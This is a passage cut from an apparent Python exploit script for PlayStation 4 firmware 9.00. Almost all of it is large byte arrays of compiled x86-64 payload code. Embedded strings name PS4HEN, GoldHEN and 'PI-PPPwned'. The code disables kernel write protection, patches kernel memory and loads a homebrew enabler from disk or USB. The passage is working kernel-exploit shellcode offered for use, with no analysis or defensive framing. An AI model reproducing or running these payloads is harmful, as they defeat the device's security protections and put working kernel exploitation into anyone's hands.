0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,49,0,0,0,0,128,3,0,32,0,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,64,0,64,0,0,0,0,0,0,0,64,2,0,0,0,0,0,128,0,0,64,255,255,0,0,0,240,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,104,101,108,108,67,111,114,101,0,49,192,144,144,144,0,144,233,0,235,0,72,49,192,195,0,144,144,144,144,144,0,83,99,101,83,104,101,108,108,85,73,0,101,120,101,99,117,116,97,98,108,101,0,97,112,112,46,101,120,101,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,83,99,101,82,101,109,111,116,101,80,108,97,121,0,1,0,235,30,0,0,0,0,0,0,0,0,0,0,0,0,0,233,150,0,0,0,144,144,144,0,102,114,101,101,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,195,22,0,160,245,132,0,98,233,137,0,128,92,161,0,250,195,22,0,8,113,36,0,202,245,132,0,170,92,161,0,64,32,0,0,37,115,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,0,47,117,112,100,97,116,101,47,80,83,52,85,80,68,65,84,69,46,80,85,80,46,110,101,116,46,116,101,109,112,0,87,101,108,99,111,109,101,32,116,111,32,80,83,52,72,69,78,32,118,50,46,49,46,53,0,108,105,98,107,101,114,110,101,108,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,119,101,98,46,115,112,114,120,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,95,95,101,114,114,111,114,0,115,99,101,75,101,114,110,101,108,76,111,97,100,83,116,97,114,116,77,111,100,117,108,101,0,108,105,98,83,99,101,76,105,98,99,73,110,116,101,114,110,97,108,46,115,112,114,120,0,109,101,109,115,101,116,0,109,101,109,99,112,121,0,115,112,114,105,110,116,102,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,160,38,0,0,0,0,0,0,5,0,0,0,0,0,0,0,152,38,0,0,0,0,0,0,6,0,0,0,0,0,0,0,128,38,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])
        
        
    elif args.fw == '900':
        offs = OffsetsFirmware_900()
        if args.gh == '1':
            payload = bytearray([233,168,6,0,0,83,72,137,251,72,131,236,32,72,139,5,204,7,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,137,76,36,24,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,72,131,236,24,72,139,5,135,7,0,0,72,137,52,36,72,137,230,199,68,36,8,255,1,0,0,72,139,128,136,25,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,72,131,236,24,72,139,5,84,7,0,0,137,116,36,8,72,141,116,36,8,72,139,128,40,1,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,65,87,185,130,0,0,192,65,86,65,85,73,137,213,65,84,73,137,244,85,72,137,253,83,72,129,236,56,4,0,0,15,50,72,193,226,32,137,192,76,141,116,36,48,190,0,1,0,0,72,9,194,76,141,61,148,6,0,0,76,137,247,49,192,72,137,211,76,141,130,112,123,11,0,76,137,249,72,129,195,144,242,48,0,72,141,21,151,6,0,0,65,255,208,76,137,247,255,211,128,124,4,47,47,72,137,195,117,5,198,68,4,47,0,72,141,68,36,49,138,16,132,210,116,37,128,250,47,117,27,198,0,0,76,137,246,72,137,239,72,137,68,36,8,232,11,255,255,255,72,139,68,36,8,198,0,47,72,255,192,235,213,65,128,124,31,255,47,117,11,76,137,246,72,137,239,232,235,254,255,255,76,137,230,49,201,49,210,72,137,239,232,147,254,255,255,49,219,65,137,196,133,192,15,136,252,0,0,0,76,137,238,185,164,1,0,0,186,1,6,0,0,72,137,239,232,113,254,255,255,76,141,124,36,24,65,137,197,133,192,121,16,68,137,230,72,137,239,232,214,254,255,255,233,203,0,0,0,72,139,5,41,6,0,0,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,199,68,36,40,0,4,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,99,195,72,133,192,126,78,72,139,21,221,5,0,0,76,137,254,72,137,239,72,139,146,200,0,0,0,68,137,108,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,137,68,36,40,255,210,133,192,116,4,247,216,235,6,139,133,152,3,0,0,57,216,15,132,110,255,255,255,68,137,230,72,137,239,235,8,68,137,230,72,137,239,116,20,232,42,254,255,255,68,137,238,72,137,239,49,219,232,29,254,255,255,235,21,232,22,254,255,255,68,137,238,72,137,239,187,1,0,0,0,232,6,254,255,255,72,129,196,56,4,0,0,137,216,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,83,72,129,236,8,13,0,0,72,137,180,36,88,12,0,0,72,137,148,36,96,12,0,0,72,137,140,36,104,12,0,0,76,137,132,36,112,12,0,0,76,137,140,36,120,12,0,0,132,192,116,64,15,41,132,36,128,12,0,0,15,41,140,36,144,12,0,0,15,41,148,36,160,12,0,0,15,41,156,36,176,12,0,0,15,41,164,36,192,12,0,0,15,41,172,36,208,12,0,0,15,41,180,36,224,12,0,0,15,41,188,36,240,12,0,0,185,130,0,0,192,15,50,72,193,226,32,137,192,72,141,108,36,32,76,137,214,72,137,211,72,141,124,36,77,72,141,84,36,8,199,68,36,8,8,0,0,0,72,9,195,72,141,132,36,32,13,0,0,199,68,36,12,48,0,0,0,72,137,68,36,16,72,141,132,36,80,12,0,0,72,137,68,36,24,72,141,131,64,123,11,0,72,129,195,112,25,58,0,255,208,199,68,36,32,0,0,0,0,72,137,238,49,201,199,68,36,72,0,0,0,0,186,48,12,0,0,49,255,198,68,36,76,0,199,68,36,48,255,255,255,255,255,211,72,129,196,8,13,0,0,91,93,195,243,15,30,250,83,72,137,251,72,131,236,16,72,139,5,46,4,0,0,72,137,52,36,72,137,230,72,139,128,56,6,0,0,199,68,36,8,0,0,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,133,192,15,148,192,72,131,196,16,15,182,192,91,195,243,15,30,250,65,85,185,130,0,0,192,73,137,213,72,131,236,16,15,50,72,137,116,36,8,72,137,60,36,232,140,255,255,255,133,192,116,23,72,139,116,36,8,72,139,60,36,72,131,196,16,76,137,234,65,93,233,128,252,255,255,72,131,196,16,49,192,65,93,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,72,137,253,83,72,131,236,56,15,50,49,201,65,137,214,49,210,65,137,197,232,163,251,255,255,133,192,15,136,104,1,0,0,65,137,196,72,139,5,108,3,0,0,76,141,124,36,24,72,137,239,76,137,254,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,2,0,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,139,5,32,3,0,0,72,99,219,76,137,254,72,137,239,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,0,0,0,0,255,208,72,133,219,15,142,159,0,0,0,73,193,230,32,77,9,238,76,141,171,255,63,0,0,76,137,234,73,139,190,136,139,38,2,73,141,134,176,188,55,0,72,129,226,0,192,255,255,72,137,84,36,8,72,137,214,255,208,72,139,84,36,8,72,133,192,73,137,197,116,98,72,139,5,160,2,0,0,72,137,84,36,8,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,108,36,32,72,137,92,36,40,255,208,72,139,84,36,8,133,192,116,4,247,216,235,6,139,133,152,3,0,0,72,152,72,57,195,116,44,73,139,190,136,139,38,2,73,141,134,128,190,55,0,76,137,238,255,208,72,131,196,56,68,137,230,72,137,239,91,93,65,92,65,93,65,94,65,95,233,205,250,255,255,68,137,230,72,137,239,232,194,250,255,255,72,131,196,56,76,137,232,91,93,65,92,65,93,65,94,65,95,255,224,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,185,130,0,0,192,65,84,85,72,137,253,72,131,236,16,15,50,76,141,45,164,1,0,0,76,141,37,119,1,0,0,76,137,238,232,145,253,255,255,133,192,116,99,76,137,230,72,137,239,232,130,253,255,255,133,192,117,16,76,137,226,76,137,238,72,137,239,232,194,253,255,255,235,68,72,139,5,168,1,0,0,76,137,100,36,8,72,141,116,36,8,72,137,239,72,139,128,232,1,0,0,72,199,133,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,133,152,3,0,0,133,192,121,182,72,131,196,16,93,65,92,65,93,195,76,137,230,72,137,239,232,31,253,255,255,133,192,117,21,72,131,196,16,72,141,61,42,1,0,0,93,65,92,65,93,233,246,251,255,255,72,131,196,16,76,137,230,72,137,239,93,65,92,65,93,233,138,253,255,255,243,15,30,250,72,131,236,24,185,130,0,0,192,15,50,72,193,226,32,137,192,72,9,194,72,141,130,80,1,16,1,72,137,5,13,1,0,0,15,32,192,72,137,193,72,129,225,255,255,254,255,15,34,193,199,130,208,2,0,0,0,0,0,0,102,199,130,245,2,0,0,144,144,102,199,130,249,2,0,0,144,144,198,130,2,3,0,0,235,102,199,130,55,21,39,0,144,144,102,199,130,67,21,39,0,144,144,198,130,69,21,39,0,144,102,199,130,66,20,39,0,144,144,102,199,130,78,20,39,0,144,144,198,130,80,20,39,0,144,102,199,130,227,25,39,0,144,144,102,199,130,239,25,39,0,144,144,198,130,241,25,39,0,144,102,199,130,32,26,39,0,144,144,15,34,192,72,141,61,108,0,0,0,49,192,232,36,251,255,255,72,131,196,24,101,72,139,60,37,0,0,0,0,233,100,254,255,255,47,100,97,116,97,47,71,111,108,100,72,69,78,47,112,97,121,108,111,97,100,115,47,103,111,108,100,104,101,110,46,98,105,110,0,37,115,0,47,109,110,116,47,117,115,98,48,47,103,111,108,100,104,101,110,46,98,105,110,0,103,111,108,100,104,101,110,46,98,105,110,32,110,111,116,32,102,111,117,110,100,33,0,80,73,45,80,80,80,119,110,101,100,0])
        else:
            payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,176,246,17,1,72,137,70,48,72,139,130,96,253,30,2,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,227,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,224,70,185,1,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,192,203,7,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,80,1,16,1,72,137,5,124,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,67,21,39,0,144,144,198,134,69,21,39,0,144,102,199,134,78,20,39,0,144,144,198,134,80,20,39,0,144,102,199,134,239,25,39,0,144,144,198,134,241,25,39,0,144,72,139,5,33,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,55,21,39,0,144,144,102,199,134,66,20,39,0,144,144,102,199,134,227,25,39,0,144,144,102,199,134,32,26,39,0,144,144,102,65,199,132,36,36,248,5,0,144,144,65,198,132,36,60,191,55,0,7,65,198,132,36,68,191,55,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,112,184,7,0,72,141,154,224,184,7,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,65,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,4,48,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,208,187,7,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,128,187,7,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,192,193,7,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,224,33,86,1,186,2,0,0,0,72,129,195,32,27,48,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,0,235,65,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,64,236,7,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,48,186,7,0,76,141,171,160,186,7,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,128,205,7,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,48,186,7,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,128,230,7,0,72,129,195,160,186,7,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,176,65,1,0,72,141,144,144,65,1,0,72,137,76,36,104,72,141,136,208,69,1,0,72,5,48,232,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,112,214,30,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,224,33,86,1,72,141,133,224,28,48,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,160,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,176,39,0,0,0,116,24,80,255,21,167,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,240,2,185,1,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,208,248,18,0,72,141,168,96,195,194,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,96,191,82,1,0,0,0,0,49,246,102,199,131,127,182,35,0,235,76,72,137,239,102,199,131,64,27,34,0,49,192,186,0,64,0,0,198,131,66,27,34,0,195,198,131,42,99,22,0,55,198,131,45,99,22,0,55,199,131,255,25,0,0,184,0,0,0,198,131,3,26,0,0,0,198,131,60,191,55,0,7,198,131,68,191,55,0,7,102,199,131,247,22,39,0,144,144,102,199,131,3,23,39,0,144,144,198,131,5,23,39,0,144,102,199,131,2,22,39,0,144,144,102,199,131,14,22,39,0,144,144,198,131,16,22,39,0,144,102,199,131,163,27,39,0,144,144,102,199,131,175,27,39,0,144,144,198,131,177,27,39,0,144,102,199,131,224,27,39,0,144,144,198,131,189,20,39,0,235,199,131,253,244,65,0,144,144,144,144,102,199,131,1,245,65,0,144,144,199,131,209,249,65,0,233,124,2,0,198,131,213,249,65,0,0,199,131,188,70,0,0,72,49,192,144,198,131,192,70,0,0,144,199,131,102,41,21,0,144,144,144,144,102,199,131,106,41,21,0,144,144,199,131,139,11,8,0,144,144,144,144,102,199,131,143,11,8,0,144,144,102,199,131,192,133,104,0,49,192,198,131,194,133,104,0,195,102,199,131,48,4,101,0,176,1,198,131,50,4,101,0,195,102,199,131,96,4,101,0,176,1,198,131,98,4,101,0,195,102,199,131,23,123,11,0,235,59,199,131,167,242,33,0,144,144,144,144,102,199,131,171,242,33,0,144,144,199,131,231,173,4,0,144,144,144,144,102,199,131,235,173,4,0,144,144,102,199,131,194,25,39,0,144,144,102,199,131,209,25,39,0,144,144,199,131,72,142,78,0,0,0,0,0,199,131,47,161,78,0,0,0,0,0,255,21,103,37,0,0,76,137,234,76,137,230,72,137,239,255,21,80,37,0,0,198,131,215,250,18,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,215,250,18,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,130,34,0,0,72,137,229,49,192,72,137,239,255,21,192,36,0,0,72,137,238,191,222,0,0,0,255,21,170,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,49,34,0,0,72,137,68,36,8,49,192,255,21,148,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,112,36,0,0,68,139,32,76,141,45,253,33,0,0,76,137,239,72,141,45,9,34,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,245,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,162,33,0,0,72,131,236,16,72,199,5,174,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,135,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,135,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,112,35,0,0,72,141,53,131,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,81,35,0,0,72,141,53,116,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,106,33,0,0,255,21,33,35,0,0,72,141,21,18,35,0,0,72,141,53,110,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,241,34,0,0,72,141,53,92,33,0,0,232,10,255,255,255,137,239,93,72,141,21,211,34,0,0,72,141,53,77,33,0,0,233,244,254,